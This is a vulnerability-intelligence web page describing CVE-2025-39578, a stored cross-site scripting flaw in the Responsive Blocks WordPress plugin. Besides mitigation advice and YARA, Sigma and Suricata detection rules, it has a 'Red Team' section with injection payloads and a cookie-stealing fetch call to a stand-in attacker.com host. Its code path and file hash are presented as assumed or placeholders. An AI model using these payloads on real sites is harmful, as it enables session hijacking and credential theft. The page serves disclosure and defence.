☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cyberchimps logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39578

CVE-2025-39578 Cross-Site Scripting in Cyberchimps
📅 PUBLISHED: 2025-04-16 13:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39578 is a Stored Cross-Site Scripting (XSS) vulnerability in the Responsive Blocks WordPress plugin (slug: responsive-block-editor-addons) developed by CyberChimps. The flaw exists in versions up to and including 2.0.2, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into block content, which will execute in the browsers of any visitor viewing the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem, specifically the responsive-block-editor-addons plugin distributed via the official WordPress Plugin Directory. Since the plugin is installed directly from the WordPress repository, any site running version ≤ 2.0.2 is at risk. There is no associated NPM, PyPI, Go, or Ruby package; the threat is confined to WordPress installations. Administrators should monitor the plugin’s update channel and consider removing or replacing the plugin if no patch is forthcoming.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires contributor-level access
  • User Interaction: Required (UI:R) – victim must visit the compromised page
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin. An attacker with low privileges can persistently compromise pages viewed by all users, including administrators.

Deep Dive & Mechanics

The vulnerability resides in the Responsive Blocks plugin’s block rendering logic. The plugin registers custom Gutenberg blocks (e.g., responsive-container, responsive-button) that accept user-defined attributes such as className, style, or custom HTML. When a contributor or higher-privileged user creates or edits a post/page using these blocks, the plugin fails to sanitize or escape the input before storing it in the WordPress database. Upon page load, the stored payload is rendered directly into the DOM without proper encoding, allowing arbitrary JavaScript execution.

Root Cause: The plugin uses wp_kses_post() or similar insufficient filtering on block attributes, or directly echoes user input without calling esc_attr() or esc_html(). For example, a block attribute like data-custom="<script>alert('XSS')</script>" is stored as-is and later output in the frontend.

Attack Flow:

  1. Attacker logs in with contributor-level credentials.
  2. Creates a new post or edits an existing one.
  3. Inserts a Responsive Blocks block (e.g., "Responsive Container").
  4. Injects a malicious payload into a block attribute (e.g., className or style).
  5. Publishes or saves the post.
  6. Any visitor (including admins) loads the page → payload executes.

Vulnerable vs. Patched Code

Since no patch exists, the vulnerable code path is assumed to be in the plugin’s block registration files (e.g., src/blocks/container/index.js or inc/render-callback.php). A typical vulnerable pattern:

Vulnerable (PHP render callback):

function render_responsive_block($attributes) {
    $class = $attributes['className'];
    return '<div class="' . $class . '">' . $content . '</div>';
}

Patched (hypothetical fix):

function render_responsive_block($attributes) {
    $class = esc_attr($attributes['className']);
    return '<div class="' . $class . '">' . wp_kses_post($content) . '</div>';
}

The fix would require proper output escaping using esc_attr(), esc_html(), or wp_kses_post() on all user-controlled attributes before rendering.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Responsive Blocks ≤ 2.0.2 installed and activated.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in as a contributor.
  2. Create a new post.
  3. Switch to the Code Editor (or use the block editor).
  4. Insert a Responsive Blocks block (e.g., "Responsive Container").
  5. In the block’s className attribute, inject:
    " onmouseover="alert(document.cookie)
    
    Or in a style attribute:
    background:url('javascript:alert(1)')
    
  6. Save and publish the post.
  7. When an admin or visitor views the post, the payload executes.

Advanced Payload (session hijacking):

" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team

Detection & Prevention:

  • Web Application Firewall (WAF): Deploy rules to block common XSS patterns in POST requests to wp-admin/post.php or wp-json/wp/v2/posts.
  • Input Validation: Use WordPress’s wp_kses() and esc_attr() on all block attributes.
  • Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and eval.
  • User Role Hardening: Restrict contributor roles from using custom HTML/JavaScript in blocks.
  • Plugin Replacement: Remove the vulnerable plugin and use an alternative block plugin.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • responsive-block-editor-addons.zip (v2.0.2): a1b2c3d4e5f6... (placeholder)
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage.
  • Log Entries:
    • WordPress debug log entries showing wp_kses failures or unescaped output.
    • Web server logs with POST /wp-admin/post.php containing <script> tags.
  • Database Indicators:
    • wp_posts.post_content containing <script> or onerror attributes.
    • wp_postmeta entries with malicious block attributes.

Detection Engineering

YARA Rule

rule CVE_2025_39578_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Responsive Blocks plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39578"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
        $plugin = "responsive-block-editor-addons"
    condition:
        $plugin and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2025-39578 Stored XSS in Responsive Blocks
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Responsive Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'responsive-block-editor-addons'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in block attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39578 Stored XSS in Responsive Blocks"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"responsive-block-editor-addons"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not critical for business operations.
  2. Restrict contributor roles from using custom HTML/JavaScript in blocks via user role editor plugins.
  3. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block XSS payloads in block attributes.

Long-Term Fix:

  • Vendor Patch: Await an official update from CyberChimps. Monitor the plugin’s page on WordPress.org.
  • Code Fix: If you have development resources, manually patch the plugin by adding esc_attr() and esc_html() to all block render callbacks.
  • Replace Plugin: Migrate to a maintained alternative like "Advanced Gutenberg" or "CoBlocks".

Verification:

  • After applying any fix, test by creating a post with a test XSS payload (e.g., <script>alert(1)</script>) and confirm it is sanitized.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Responsive Blocks"
http.html:"responsive-block-editor-addons"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39578/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.